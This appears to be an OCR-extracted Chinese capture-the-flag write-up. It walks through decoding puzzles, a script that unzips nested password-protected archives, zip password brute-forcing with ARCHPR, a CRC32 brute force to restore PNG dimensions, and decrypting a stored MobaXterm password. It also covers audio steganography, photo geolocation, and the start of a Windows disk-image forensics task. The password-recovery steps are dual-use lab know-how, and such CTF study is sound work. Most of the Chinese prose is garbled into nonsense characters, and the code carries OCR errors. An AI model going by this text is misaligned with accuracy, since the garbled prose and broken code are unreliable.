h4ck061h4ck671h4ck791h4ck951h4ck571h4ck781h4ck8ylh4cky71h4ck771h4ck761h4ck671h4c
k761h4ck6ylh4cky71h4ck751h4ck5t1hd4ckt71h4ck741h4ck4hlhdckh71h4ck731h4ck3dlh4ckd?
1h4ck721h4ck2flh4ckf71h4ck711h4cklglhdckg71h4ck701h4ck0flh4ckf61h4ck691h4ck9glh4
ckg61h4ck681h4ck8flh4ckf61lh4ck671h4ck7d1lhd4ckd61lhdck661hdck6flhdckf6lhdck651h4cks
51h4ck561h4ck641h4ck441h4ck461h4ck631h4ck331h4ck361h4ck621hd4ck241h4ck461hdck611h
4ck131h4ck361h4ck601h4ck051h4ck551h4ck591h4ck9=1h4ck=51h4ck581h4ck801h4ck051h4ck
571h4ck7nlh4ckn51h4ck561h4ck6R1h4ckR51h4ck551h4ck5s1h4cks51h4ck541h4ck4R1h4ckR51
h4ck531h4ck3z1h4ckz51h4ck521h4ck2z1h4ckz51h4ck511h4ck1flh4ckf51h4ck501h4ckOvih4c
kv41h4ck491h4ck9T1lh4ckT41h4ck481h4ck8M1h4ckM41h4ck471h4ck7flhdckf41lh4ck461h4ck6N
1h4ckN41h4ck451h4ck5H1h4ckH41h4ck441h4ck4z1lhdckz41hdck431h4ck3ylhdcky41lhdck421h4
ck2R1h4ckR41h4ck411lh4cklz1lh4ckz41h4ck401h4ckOd1lh4ckd31h4ck391h4ck9rlhdckr3lh4dcks3
81h4ck8N1h4ckN31h4ck371h4ck7G1lh4ckG31h4ck361h4ck6N1h4ckN31h4ck351h4ck5i1h4cki31h
4ck341h4ck491h4ck931h4ck331h4ck311h4ck131h4ck321h4ck2z1h4ckz31h4ck311h4ck101h4ck
031h4ck301h4ckOwlh4ckw21h4ck291h4ck9mlh4ckm21h4ck281h4ck8R1h4ckR21h4ck271h4ck771
h4ck721h4ck261h4ck631h4ckI21h4ck251h4ck5X1h4ckx21h4ck241h4ck4z1h4ckz21h4ck231h4c
k3ilh4cki2lh4ck221h4ck211h4ck121h4ck211h4ck131h4ck321h4ck201h4ck0Y1lh4cky1llh4ck19
1h4ck971h4ck711h4ck181h4ck871h4ck711h4ck171h4ck741h4ck411h4ck161h4ck651h4ck511h4
ck151h4ck561h4ck611h4ck141h4ck451h4ck511h4ck131h4ck341h4ck411hdckl21h4ck2tlhdckt
11h4cklllh4cklelh4ckellh4ck101h4ckOf1lh4ckf91h4ck9E1h4ckE81h4ck8Ulh4cku71h4ck7I1h
4ck161h4ck6F1lh4ckF51h4ck5S1h4cks41h4ck4rlhdckr3lhdck3olhdcko21hd4ck211h4ck111h4ck
1f1h4ckf0lh4ck0":
grant()
else:
punish()
main()

BSXI WA A fEERN AT



import base64
s="81h4ck891h4ck931h4ck311h4ck181h4ck821h4ck2jlh4ckj81h4ck811h4cklylh4dcky81h4cks
01h4ck061h4ck671h4ck791h4ck951h4ck571h4ck781h4ck8ylhdcky71h4ck771h4ck761h4ck671h
4ck761h4ck6ylhdcky71h4ck751h4ck5tlh4ckt71h4ck741h4ck4hlh4ckh71h4ck731h4ck3d1lh4ck
d71h4ck721h4ck2f1lh4ckf71h4ck711h4cklglh4ckg71h4ck701h4ck0f1lh4ckf61h4ck691h4ck9gl
h4ckg61h4ck681h4ck8f1lh4ckf6lhdck671hdck7dlh4ckd61lh4ck661h4ck6flhdckfelhdck651h4dc
k551h4ck561h4ck641h4ck441h4ck461h4ck631h4ck331h4ck361h4ck621h4ck241h4ck461h4ckol
1h4ck131h4ck361h4ck601h4ck051h4ck551h4ck591h4ck9=1h4ck=51h4ck581h4ck801h4ck051h4
ck571h4ck7nlh4ckn51h4ck561h4ck6R1h4ckR51h4ck551h4ck5s1h4cks51h4ck541h4ck4R1h4ckRr
51h4ck531h4ck3z1lh4ckz51h4ck521h4ck2z1h4ckz51h4ck511h4ck1flh4ckf51h4ck501h4ckOvih
4ckv41h4ck491h4ck9T1h4ckT41h4ck481h4ck8M1h4ckM41hdck471h4ck7f1lhdckf41hdck461hdck
6N1h4ckN41h4ck451h4ck5H1h4ckH41h4ck441h4ck4z1lhdckz41h4ck431h4ck3ylhdcky41lhdck421
h4ck2R1h4ckR41h4ck411h4cklz1h4ckz41h4ck401h4ck0d1lh4ckd31h4ck391h4ck9rlh4dckr3lh4c
k381h4ck8N1h4ckN31h4ck371h4ck7G1lh4ckG31h4ck361h4ck6N1h4ckN31h4ck351h4ck5i1h4cki3
1h4ck341h4ck491h4ck931h4ck331h4ck311h4ck131h4ck321h4ck2z1h4ckz31h4ck311h4ck101h4
ck031h4ck301h4ckOwlh4ckw21h4ck291h4ck9mlh4ckm21h4ck281h4ck8R1h4ckR21h4ck271h4ck?
71h4ck721h4ck261h4ck631h4ckI21h4ck251h4ck5X1h4ckx21h4ck241h4ck4z1h4ckz21h4ck231h
4ck3ilh4cki2lh4ck221h4ck211h4ckT121h4ck211h4ck131h4ck321h4ck201h4ck0Y1lh4ckyllh4ck
191h4ck971h4ck711h4ck181h4ck871h4ck711h4ck171h4ck741h4ck411h4ck161h4ck651h4ck511
h4ck151h4ck561h4ck611h4ck141h4ck451h4ck511h4ck131h4ck341h4ck411h4ck121h4ck2tlh4c
ktllh4cklllh4cklelh4ckellh4ck101h4ck0f1lh4ckf91h4ck9E1h4ckE81h4ck8Ulh4cku71lh4ck7T
1h4ck161h4ck6F1h4ckF51h4ck5S1h4cks41h4ck4rlhdckr3lhd4ck3olh4cko21h4ck211h4ckT11h4
ck1flh4ckf0lh4ck0"
ss=""
for i in range(0,len(s),7):

Ss+=s[i]
tmp=ss[3:]
sss=""
for i in range(0,220,3):

sss+=tmp[i]
for i in range(221,len(tmp),2):

sss+=tmp[i]
sss=sss[::-1]
print(base64.b64decode(sss[19:][:-24]1))

b'cyber{Fl4g_bdckwdrds_15_g4lF}"

B EI1ZiHHFLE(R2.0
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from PIL import Image
def vertical_concatenate_images(image_paths, output_path):
first_image = Image.open(image_paths[0])
width, height = first_image.size
total_height = sum([Image.open(img).size[1l] for img in image_paths])
concatenated_image = Image.new('RGB', (width, total_height))
y_offset = 0
for img_path in image_paths:
img = Image.open(img_path)
concatenated_image.paste(img, (0, y_offset))
y_offset += img.size[1l]
concatenated_image.save(output_path)
image_paths = [f'{i}.png' for i in range(0, 500)]
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output_path = 'concatenated_image.jpg’
vertical_concatenate_images(image_paths, output_path)

fRHR—RKXERE A

@) concatenated_image.jpg

199% Q @ O @

BTG REIRIBRLL+7 N H hex R — FHUT

— length: 68 —
Recipe ol B8 Input L + O3 w =

66 6¢c 61 67 7b 74 68 33 5f 4‘[! 47 42 5f 6¢c 30 76 33 73 5F 43 54 46 7d
From Hex

Delimiter

Auto

ime: 6ms
length: £
Output cneth: 22 B rD 3} La

flag{th3_KGB_lev3s_CTF}

ASEBA—N—EEYRIE?
S

import pyzipper

zip_file = 'C:\\Users\\jyzho\\Desktop\\test\\zip-25000.zip’
target_folder = 'C:\\Users\\jyzho\\Desktop\\test\\'
password_file="cC:\\Users\\jyzho\\Desktop\\test\\password. txt'
cnt=25000
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while cnt>=0:
f=open(password_file,'r")
password=f.read().strip().encode()
f.close()

With pyzipper.AESZipFile(zip_file, 'r', compression=pyzipper.zZIP_DEFLATED,
encryption=pyzipper.WZ_AES) as zip_ref:
try:
zip_ref.extractall(path=target_folder, pwd=password)
print(f"{cnt}: @ERII")
except RuntimeError:
print(f"{cnt} HiRMEL ! ToEME ")
break
zip_ref.close()
cnt-=1

zip_file=f'cC:\\Users\\jyzho\\Desktop\\test\\zip-{cnt}.zip'

BRI T —X, BEBEkT

IO ~» m

password.txt

20:RRE RN
19:RRERTH TCP1P{1 T
18: BBER Y o]
17:RRERT)
16: R ERRIh
15:RRERRTh
14:fRRERTY
13:fRERIH
12:fRER TN
11:RRER T
10: R EBL T
9:RRER TN
8:fRER TN
T:RRERY
6: R [E AL T
S:RRERIN
4:fRFERLTN
3:MRERETH
2:fRERRTD
1:fRERTH
Traceback (most recent call last):
File "/home/st4rr/test.py", line 10, in <module>
with pyzipper.AESZipFile(zip_fﬂe, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as zip_ref:
/\/\I\I\/\/\AI\A/\/\AI\A/\/\l\I\I\Al\l\/\A/\l\I\A/\A/\AI\I\I\AAI\I\I\AAI\I\/\/\I\AAI\I\I\I\I\I\AAI\AAAAAI\I\/\/\AI\AI\I\I\/\AAAI\AAAA/\AAI\AAA/\/\AAA/\AA
File "/usr/local/lib/python3.12/dist—packages/pyzipper/zipfile_aes.py", line 338, in __init__
super().__init__(*args, *¥%kwargs)
File "/usr/local/ltb/python3.12/d"Lst-packages/pyzipper/zipfile.py", line 1731, in __init__
self.fp = io.open(file, filemode)

AAAAAAAAAAAAAAAAAAAAAAN

FileNotFoundError: [Errno 2] No such file or directory: '/home/st4rr/test/zip-0.zip'
y []

FEANZIE, SRPEAT

Fistegsolvefrandom color mapE—T, AILAEZI—&EIIkAIbase64dwi3
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| 4| StegSolve 1.3 by Caesum

File Analyse Help

Random colour map 3

#—THiRlag
Recipe
From Base64
Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

oms
QO n

D Strict mode

vy

Input

bTNFdF9tZV88dF8xM19hTQ==|

Output

m3Et_me_4t_12_aM

length: 24 + 0 E -i =

lines: 1

time: 1ms

length: li B rD m o

lines:



X2? BEENH?

TEHRMIERE—T + ERAERT LRI, XN ERAZEMobaxterm.ini, ALUAZBILXMNMnisXHIRE
2F, ABRERIRSEE, (BE—EERaccess denied, FEZiXkErootiyz18, FIBXATE, H
XHEBESHF T iImasterZflag_is_here,

C:\Users\jyzho\Desktop\how-does-MobaXterm-encrypt-password-master\python3>python MobaXtermCipher.py dec -p flag_is_here
DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqgL

flag{eW91X2FyZV9hX2cwMGRfZ3V5}

BIERIRY, K15base64fi#—IRES,
Recipe Bma Input

eW91X2FyZV9hX2cwMGRFZ3V5
From Base64

Alphabet

A-Za-z@-9+/=

Remove non-alphabet chars D Strict mode

Output

you_are_a_geed_guy

E R R9kEhE

BUSEAVA Ve E AT


af://n153
https://github.com/HyperSine/how-does-MobaXterm-encrypt-password
af://n158

ﬂ] ARCHPR 4.54 - 85% — Pt
iE(F) RE(R) #EI(H)
.8 A & ¥ e o 0
FTH AR i Eaul HB U
D5 ZIP RAR JACE/AR] 3714 Of il

IC \Users\jyzho\Desktop'\bp.zip £h
< ERINES! X
Advanced Archive Password Recovery ¢5HE B
2va% 852,793
Sithtig 1m 16s 44ms
TGRS AY) 11,214
X MHFRIO% 852795 (]
+rolHO% 38 3532373935 A
w1875 V iwE
1202471071 16:52: 10 - '852795 BIR AT HHI— A EHOS v
EINEE 852795 FIgRE: 11,215p/s
EFeiE: _1m 16s Hl5:A1E: 13
A<4<E =6, 2it: 1,000,000, 22ME: 852,796
85%

ARCHPR version 4.54 (c) 1997-2012 ElcomSoft Co. Ltd.
BRccBin@, 8—TFERNES

import binascii

import struct

crcbp = open("bp.png", "rb").read() #HANK R 4
crc32frombp = int(crcbp[29:33].hex(),16)
print(crc32frombp)

for i in range(10000):
for j in range(10000):
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i"', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & Oxffffffff
# print(crc32)
if(crc32 == crc32frombp):
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)

hex: ©x5dc @x7de



EBERHM— 485, 3EEEIflag

8% QR Research - Ll X
iR IR #EH)
a-l BHYYE@ .
CMEFR - RB
H@o%) ||| jao

Auio "I

[~ Auto

_HEZgi

SRS EE 1.

{i B :(357.0,1102.9)-(1160.9,1102.9)-(357.0,1907.7)-(1160.9,1907.1)
Ei@IEsE, E%

R 3
2‘1%%?}%:&1%5%:3
g

NYSEC{abcdefghikimn)

L=t
REHFE_1

BERE— T LR T


af://n167

00 . -
Bai'@'iﬂ B Rtk Rt ©
TR/ R BREE ZSiEn L Z240m TIGEZREE/INNEE NN LFIRZ S5iE
254 HE EE ZE
EHRE

Yun Tai ShanZ=&1LIBRERIS, BERESAIE - S

flag{yuntaishan}

RELF_2

REHLFE_2 25 pts

XMEFEL 53 M EFIFET, RS BEFEL . HIEEFMNEEN
BF

RS EIXIRIRgoogleF &AR—kIUfHSycamorefIE F it F

Google £L53 MEFILIEST, BEEIT BFEL x & @ Q # @ -
BREFHUCIENE ENature, SALFEFITEIIER ...

20194F10523H — {ELIRs, BAIESEET12 253 DNETHASIREIEILEES, FHRISBR
EAZE, BNEBEMERLHRRE TR, HSIROBEHTINR, —B3

§ IR

https:/www.sohu.com »

IBMERAR [SEMBFHN] : 15FAR, SETENRF2 ..
2019F10A23H — (ME) . BHR) SERINFIRER, AHE—a53 EFHNET
VIO 7AERA B TiE5e s, RS BEREE HFENLRT, .

a TN

W jips:/wwwlinkresearcher.com » theses  §

AFLIMEFHRIUCERL, BIAL: BEFTENERESEG
2019695220 — 1BXE, HIRE T EHEGIMEBSE FUANMNESES3NEFL Lo
ETE, HERESE253~1016, H USSR TR, B ERE

36Kr

Kr' | psiim sekecom

APEMRESIMBFEL", EFTEIRKTIE?
2019411550 — GoogleFIpA th—EFESH KIS IRASTNE FHHRAGXMIES, MBIHRT K
E=s) ETGR, FHEFEZEIEGoogle AT FAHLAINREBIATNE FIHE

BR=
& https://cloud.tencent.com » developer» article
GooglefENature LRZFRAXF B FITERIRHHEIC ...
BB ARBENEFBIRASINETFIURE, 1M3NREFIUET], 430 NEFHE], 81T
LR — NS, BT EAMREER0.2%, HFFXEBRIAMRERE 1 /Ns-1 ..

& Rlm

" https:/wap.sciencenet.cn » blog-1319915-1206071  §

KT BRAE BFHN N — LR ERRIE

flag{Sycamore}
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RE1F_3

PRELTE_3 50 pts

Which county this factory is located? & 228 _RBL, 2501 : flag{Xxx_Xxxx}

T & O test2.jpg

Figoogle lensiRzl—T, EZEaLUKEIRE]

C % whyy.org/articles/pennsylvania-historic-sites-at-risk-in-2017/ Bx O 0O

©  Google Chrome FREAIER L5

ht to you by Temple Health Radio Schedule

News Radio & Podcasts v Arts Events Education Support Q DONATE

Local residents own and hope to rehab the former Kiddie Kloes Factory in Lansford

Borough, Pennsylvania. (Image courtesy of Preservation Pennsylvania)

SFEE [E/Ewhich county, &—TLansford

Go gle Lansford X & @& Q
3B EA R B Wh HE BRI IR
 Wikipedia F) sz =V N
W ttpsyienwikipedia.org » wiki> Lansford.... - BIEHE :»ﬁﬁﬂ{@=

Lansford, Pennsylvania

Lansford is a county-border borough (town) in Carbon County, Pennsylvania, United

States. It is part of Northeastern Pennsylvania.
No’.9'Coal Mine @) =Hfii&iE
al um lcansford
BURECR
Coaldale

., Borough of Lansford
L= https://boroughofiansford.com - EHEIER

Borough of Lansford

Welcome to the Borough of Lansford's website! Whether you are a Lansford resident, ML EBET - ZHEE (Lansford) £ ERIM-EAEH
—AELFITIHIR, CREY ARSI &R,
HEER @30

BEFCURY v

business or visitor, we hope this website will be a valuable tool.

& Google Scholar
https://scholar.google.com > citations - ERFILER

Joshua L. Lansford
Postdoctoral Associate, MIT - Cited by 301 - catalysis - quantum chemistry - spectroscopy - BRAERT
machine learing - uncertainty quantification

@ Lansford Kawasaki Suzuki Yamaha
hitps://wwwansforckawasaki.com - S

Lansford Kawasaki Suzuki Yamaha - Crossville, Tennessee
Lansford Kawasaki Suzuki is a powersports dealership located in Crossville,
Tennessee and near Nashville, Knoxville, Chattanooga and Asheville.

ISR WHRES HBRE PBERTR

BESEXZHERENES >

pal
-1

IEEE Vehicular Technology Society
https://vtsociety.org » contact » jim-lansford - BBiFILHR

lim | anefard

flag{Carbon_County}
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XFAE, ARBEEANES
SERRRD

Eahnage-20241005230040763

THERIIXRIERABRED, BN ascizifT

from Crypto.Util.number import *
1s=
[927372692193078999176,16641027750620563662096,83621143489848422977,150052053620
6896083277,22698374052006863956975682,927372692193078999176,7778742049,135301852
344706746049,4807526976,43566776258854844738105,32951280099,21892299583455516902
6,2427893228399975082453,4807526976,59425114757512643212875125]
def find_fibonacci_index(number):

if number < O:

return -1

a, b=0, 1
index = 1

while b < number:
a, b=b, a+b
index += 1

if b == number:
return index
else:
return -1
ans=[]
for i in 1ls:
position = find_fibonacci_index(i)
if position != -1:
ans.append(position)
print(''.join(chr(i) for i in ans))

[+ image-20241005230154202
ISt S

\_‘X_ELJH\ o o o xﬁ.\l‘$

X
BT R, —IRhtmISEIRRED

HTMLSERGRIS RS
Home AESHIZ RSAMZE PHPIMZRE
FiFER £ #HR
&#x39;8&#x33;8#x36;8#x35; &#x34;8#x34;8#x61;8#x35;8#x35;8#x PRSI 936544a55314a7e4339545f47776a6e41315a7d413257435756554
33;&#x31;8#x34;8#x61,8#x37,&#x65;8#x34,8#x33;8#x33,&#x39; 55b447851626537416

&#x35;&#x34;&#x35;&#x66; 8#x34; &#x37;&#x37;&#x37;&#x36;&#x
61;&#x36;&#x65; 8#x34; &#x31;&#x33;8#x31;8#x35;8#x61;&#x37;
8H#xB4;&#x34;&#x31;8#x33; &#x32; &#x35;&#x37;&#x34;&#x33;&#x
35;&#x37;&#x35; &#x36; &#x35;&#x35;8#x34,;&#x35;&#x35;&#x62; =
&##tx34;&#x34;&#x37;&#x38; &#x35; &#x31;&#x36;&#x61;&#x36,;&#x
35;8#x33;8#x37;&#x34;8#x31;&#x36;

SR>

IRGENEE->Hex->baseb4->HH (E5H2)
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i = Tength: 72 -
Recipe B EE  input P + D038
936544a55314a7e4339545F47776a6e41315a7d41325743575655455b4478516a6537416
Reverse
By

Character

From Hex

Delimiter

Auto

From Base64

Alphabet -

A-Za-z0-9+/=
Remove non-alphabet chars D Strict mode

start: 27 time: 3ms
end: 27  length: 27 r
OUtp“t length: © lines: 1 a D m
hnci{IPEVHuU345680967709d5 }
BARE QMR
hnci{JPEVHdU345680967709d5} flag{HNCTFbs345680967709b5}
4 4

e 2 Hth 4 1R

ARk 7
AR tHIRER A A

BTEENBRLENSG: TSRl sTh.7z §8%: https://
pan.baidu.com/s/1-6xwfZOnoTM2KOgNYx25Rw }2EVfS: 8866

ffE2154321

R HlaghIBARE—1HiE, Aflagll@F, =R

Q- love is very important
G P ARLEER
Q- flagRBERYE, TR

FIFdoox3ti, AJLAELERIKEISE—ER o flag
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BB doox [FEtE] - Word

Eiicll AN 't BB 318 B =R

e, X Y s A A P -
ik MWLM 2 4 =« 9 [£]] AaBbC AaBL AaBbC sasocera AaBbC Ashcepd Assbcebd | o, - . &»
i * | A = 4 7 . e e = m | ReEE
R pm | BT Uvadex, X A ¥ A-AO SIS wE RE1 G2 | JexE | EGRE @A 2| e | o | ol
BN ] FiE ] BE 5] 3 ] E IEIR wREF ~
HEREEMS, BAORZZIE, RS« [+]
.

PHIE ERH SRR AL i ©

SR, — IR TET IR AP kR BT 2 B (1 T A7 AR ST M AR 5 10 A
BETRITEERE, FRATHHA P BN, — )7 B IR IEE P AN K SR

o HARGRE AR R, B R F R TR, ©
-

SREER B A ARS, RENERCEY, BETROARZE, 0K, A
AR, VTICHOBRITI R TE 5| SR BEA T, B UR L IRTUAORRNS, B2E T TSk«
o

®i e

kB, PGS BRIR [ HOP . FldglcHZrcXiTeCBonSgeHNxenqgbX13b2Ms

I, DURCRRE ST, AN R R I R A AR AL (A it ik, SRR RR L

- EJR B EE R R R H R, IR AT S BRI, KRG AR
T ESE, HEMR SR REER. ©
o
MR SR TR B RER O, R R RER O AR AL (i Rk ©

0
base64+df# (Z3H10)
Recipe Sl ) Input
cHZrcXtTcCBkem8geHNxcmQgbX13b2Ms
From Base64 O n
Alphabet -
A-Za-z@-9+/=
- Remove non-alphabet chars D Strict mode
Output
pvkg{Sp dro xsqrd mywoc,
pvka{Sp dro xsqrd mywoc,
4
Offset 10 C (& Decrypt © Copy C Clear
flag{If the night comes,
Y,

FEEflagthfEdocxBBE, EE—THE



=5 vooX @ H

Bt AR
flag X a
,,,,,,,,,,,, .
41ER alhd’ o
wE EE SR 19 RAEHC
— o
§#EE— Flag2: will stand before ten thousand KENH.
people, o
L, ARSI FEE, BIENEH H ! . . . a
{515, (BES), FEREviKifflaghi A "
BETE......
) ) ITEAIGIR A B RIS 7%, P AT R TR b, oI K2 R
(o OO RO RS, SIS0 AT, AR, B T k. ©
2. “
. ATRRER A TH N ag? S REATHAS MBI UBRE T, JUNMERIERE 2, WAL
7. " o

TRy AL B FIANER DT RN T 4, 5815, FOGEAET EAL. «
“BTiE, RTERTEAT T RS SFIE R <

< AN BT R R NSRRI A T AR, CEIA TR, ARBE - HEAB AL S 7 @

P

[AfE—1F, BEET RUZIE, SIFN: “—Hokst, BALIHBAARE, R&FHERG
LRIRT T, TR AT LLERAT (R AR, SSTERAT IS, eRVEAESEA
¢ SUE AR

T

BIVERE 748 Sk, “HSIRENI AR, SO S ER, R iE S, HAE SRR
RAERMTR? "«

FE=gfflagtEwavEEE, FHdeepsoundiZEY

DeepSound 2.1 - 0O X
™
i
> - 3 @
Hide Data Inside Audio Audio Converter Settings  Help

Open carrier files Add secret files Encode secret files Extract secret files
Carrier audio files :
File Dir Size (MB) Data format
O bgmwav C:\Users\jyzho\Desktop\E/ DS Rk S 4 37.0 MB v2 (2024)

Secret files in C:\Users\jyzho\Desktop\F7EfE#8ER 25 \bgm.wav:

Secret file name Size (MB)

@ secret.txt < 0.1 MB

EGEE

IAb0 1E$ bbb b I ANATNT 12 NbJ I BINBNBS NEINGINIZNEINIZINbINE I Z# I B§ 1JE1IANLIN B
TRINRITASNLINTS 128 11BN I IIES 88 §=

e A

and T will face the abyss with my sword,

=8

SIS TEMPAEH, foremostiBRI—NEGEES



tforemost
Processing: 1
*x*x%foundat=s
x

S

S

==

[FAROEEZ, RIBRRILUEE
fRYSEAIZRFEbase64fRD, {RIFpng

Recipe ama

From Base64

Alphabet
A-Za-z0-9+/=

. Remove non-alphabet chars |:| Strict mode

Auto Bake

STEP

B

1.mp4&
. Mp
er

4.TX1e

A
ect

X

ZigElove

length: 2764
1

+ O3 8 =

LCFf5RGa9n9z6UgsSW2nmUgi+aIsQkDv2iM3Pb41S@zVGPfNespdZqTY9i5z1jsk3vxI5D8Z/3/Gy/1D/
VHD+HrXrDsYLKsW5wyoN+9ZR1F5@1rwaHa7h9d7EZtLpTRNOrdQ8XKsCYQ1GlnLyzxwT4/
dxjFV1szxCEzaXkrObiT2cuYjYt76EAKgUPVWSsSST1FU2Z219eplYsbzp3jzZ/5bj2K/FgH19jK47hAF7H/
Sto6S98CX5NTpcw+u9ilrsOH21nveCzc211188bk/
MsmaC28e8Rx2WR21C51IKbv4WliRWLXyvwZKDUQCHIMIrvRT2Y9Q4E7GCc7+U8F6YX3rhfabMm6sxhL93zsUFInoboBjytR
NcdJD/n8913Pfin963D117pvs4seTGHa7j9TB6Nr/bz71KhQS/
v1X6oeslaPKa+j3IXvW55hKbSXPLK5qQXiVUBc2pKvpe6f/nMZ9rPyqFGbI0orCYNOa7n1t fM+NZhCbYgEiovizH/
FWOLQcRY6E9v/hNFNDWx16Z7d8rC+PUmv8sGLrjuoHixi1LOkD2r91L51+NgT+
+a5FGbJq9EIGp7uka3reyyf1RjjmuurVPOOQ8zFyMPTold3qR/

eXhUxtX2UOL 1ueYSm+tdiC7pmvYzPksSqmpkOWMrn6yfrnBKSg2KKrRSbW4eR9dxKd8z0E6EKAG]EKA3mgN7FGs519BOXS
1HitWvnDX903WGqyfyfHBYYdTm1bz8F 7YVnyavRKRpuPIMdx+ir44B5N6nSo]+3n01h5RSPqeujnKPXLY/
QVPxB375QWEARS5LYImYuxD/
uYZ6zhharjtejNkPEpthdRGgr8Z0IME6Hq8438pz6Z5r0BqWblnebc7UHOhii67pDUZDkWRW2c1TfBO15Hala8Gp204WNME
JpvrnFMXyNezffUKqdKg2s6D2rrRjwm2kepi163PE ITZS7wFp3j FHhp4AICMWVzS 34BYHQHBXBAV+Vb1FEMDANIK8BMNSgL
qx2R+agGAfYzvk+zX65ZHaDCXB8L7/

TOAQBWF34BYHqHBXB6 IXFwwF gA4EMs jNIgLAACESTXCg7kAAEAYyyMOmASAAT SXPEKDUQAAQBF LI ZSYCWAARLESQhMy FwA
AgClglL gAAGBzMBQAAMOOSAABAC ZAXAABoDUYCAADNWVWAAKASMASAADQHCWEAZOZgL gAAGB zMBQAAMOOSAABAC ZAXAABoZ

Input

lines:

0v1f/Uj5kn25cA4AAAAAE IF TkSUQmCC
time:
x x ra
9 length: 2073 I
Output et 2 B O M La
.PNG
IHDR....... 8..... 1[p..... SRGB.®I.é....gAMA..*. .la... pHYs...%...

1v0: .Eg..Se.U.{.1"'[H.*.¢EUi$cd3O\I.F.
1. .@sB=oR.
.Cy..S...8.Gh@....cy..s...0.Ghe....cy..s...0.Ghpxr*|}
.R®R.¢+A.I-0n..UTIi..x0}

1.Ix"»0.PdM6.-N.4.EMTOGE%WiE~{0.é€4. .I.59.08¢0.K5NMy=§.Km-0." .>E. . zY.

iAve.....=221y%.N7.0z" .Ei>.9g5%<Bé>Ie.AC.REg.EEXA. ..5..0T¥AY6 ¥A-h. . "Rs|10?
A_~Ik.Ghp.*. . A\i.+e.Ei=.+d.§I;=R.sA\N.syD@.3*E[6.tV0.M¥*i%%|. .H°..7S.R. .$VN_n«.¥
.S1.0&j1y%.QE\g. .U®y I]U.U.A*i106°3.E..5. .=rg}

Or=0..3.§FgjxcL.0 8¢=£3.k:74NQ®KEL®.R[%ny. |A\.a.0.2f~5.04{$.\8. QUUOKc" .RAL.

a1 %\Avia.fu.~ . r0a .{{C.]wP5AG11uRREL/ :K . T . th-Z14. G: th-2428 | pWAF. . .EEG(1zY0.M¥ R {»1
\&, . KU|E,F.>y.. RU~*&IA.A. 2. ipes. .=¢IdYOf&E [ >gRuUOE%.®P0;/
oiexr>vylyIéxvR: .U. 1. w#u"A401&. Ox.61QEA

=\&.3.0¥&|9.c. - <BOG0."In.VA=.é . wxoHs..8L.[<?(|_694}.".0°1+71. |vinx4Al&.Rxh<_i/5L16&. Jw.
{z/.y®%4..P-.22¢0g89. aul..4In| 66IRjA/ir};

%.IR$3...®IDATX i.
A\.. 9....4.5...&
&...1Ghe....cy..s.
%\/.E50.0y._R®OY~.

CRLHPL2.RE. (LS. <LINA__TL L.

Ga

~

and the sky will be stained with blood}

flag{comes people sword blood}

iR

flagfeizHla
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G Devloals - www.tianguyin.cn/
x [0 7#E BHe BREBAE W8 M KE O NA %2 Lighth
D@ topvy © Y iIE

color:=00F
? |

Forensics
BEZEE—RER

BE4ZHRE—RER 76 pts

BIREATEEAWindowsRES, BUEARMNZEAZHT 7T ERER. BEECH
TEREEESPIRESHTIRE. o1, HE. RE. BEE. SXEL
ZMEHCR LRI ENRRERSE&REZ A “windows7disk.E01”. fiHf4 T#k: 18
ITEENESZRINE: windows7disk.E01 §5#%: https://pan.baidu.com/
s/1dx6drwvCxaqZX8FAtYGEiw I2EVAS: 8866 TEGFHMIYE, TELRREIRAIMIA
BINE B IRIS{ESHA256

C:\Users\jyzho\Desktop>certutil -hashfile windows7disk.E@1 SHA256
SHA256 BY windows7disk.EOLl 5% :
e0d680e535d8260eelf32bdc7ea8253bff6f6ea365fafb60a996749583dbbdec
CertUtil: -hashfile S <RI T AL .

LU AEERIRAYRTE

FRFTKEESIXNEOT S
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File View Mode Help

LT L) a - [ EEE IR
Evidence Tree < | File List
Name Size Type Date Modified

Mount Image To Drive X

Add Image
Tmage File:

Mount Type: |Physical & Logical
Drive Letter: |Next Available (F:)

Mount Method: |Block Device / Read Only

Mount
Mapped Image List
Custom Content Sources Mapped Images:
Evidence:File System|Path|... Options Drive Method Partition Image
PhysicalD... Block Device... Image C:\Users\jyzho\Desktop\windows7disk...
E: Block Device... Partition 1 ... C:\Users\jyzho\Desktop\windows7disk...
Unmount
Close

< >

New| | Edit |Remove [Remove All |G

task1

task1l

B HREEARRMERFENE,

7EC:\Windows\System32\winevt\LogsE&{R N EI R Hsystem.evtx
y g y

@ AccessData FTK Imager 4.5.0.3 - [al X
File View Mode Help
sascadiBa
Evidence Tree

FB 0 A Name Size Type Date Modified ~
& wommn d11  Microsoft-Windows-Win. 1,028 Regular... 2021/5/3 155

¥ srelient. dll Microsoft-Windows-Win. 950 File Slack

Zz;i;jrfés # Microsoft-Windows-Win. 1,028 Regular.. 2021/5/5 5:50.

T srvsve.dll Microsoft-Windows-Win. 896 File Slack

E ssfxfii,dé1  Microsoft-Windows-Win. 68 Regular .. 2021/5/3 11:0.

¥ i dll 8 Microsoft-Windows-Win, 68 Regular.. 2021/5/411:3.

@ sv-SE i Microsoft-Windows-Win. 68 Regular .. 2021/5/4113.

e reprep  Security.evtx 1,002 Regular .. 2021/5/5 5:50.
O thTH Security.evtx FileSlack 192 File Slack
;;g’{“ n  Setup.evtx 68 Regular.. 2021/5/3 13:
oke. d
¥ uerthase.dil 9] vix 2021/5/5
O uk-Us System.evt FileSlack 192 File Slack
BQ ben  Windows PowerShell.evtx 68 Regular ... 2021/5/3 10:4... v
HE wdi ST R %% 5 N
T wdigest. d1l 0|0 E o
wip >
O WinBioDatabag o
3 WinBioPlugIne esee s
@2 WindowsPowers o > P
S winevt >
O Logs o
@ TraceFormat ;
B winload efi ¥ o
< > 5
Custom Content Sources X || ose :
Evidence:File System|Path|... Options bt
o
%
o
5
=
5
5
5
< > ;
New| I8 ve| RemoveiAl (61000373100 % % 0 2 oo oo au-on co 00 00 00 00 0 .

ALAERIE IR B ETHMESRIEH
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System B 2321

tas

BEERM): R

SR(S): Eventlog iSRATEID):
/4 IDE): 6011 {ESHEB(Y):
REL: (=i FEF(Q:
Ry TR HEHR):
BERBO):

BZEE0): S(E R

k2

task2

2021/5/3 18:41:15
T

28
37L4247F27-25

BHAfNR A SRR BEID E5%3) .
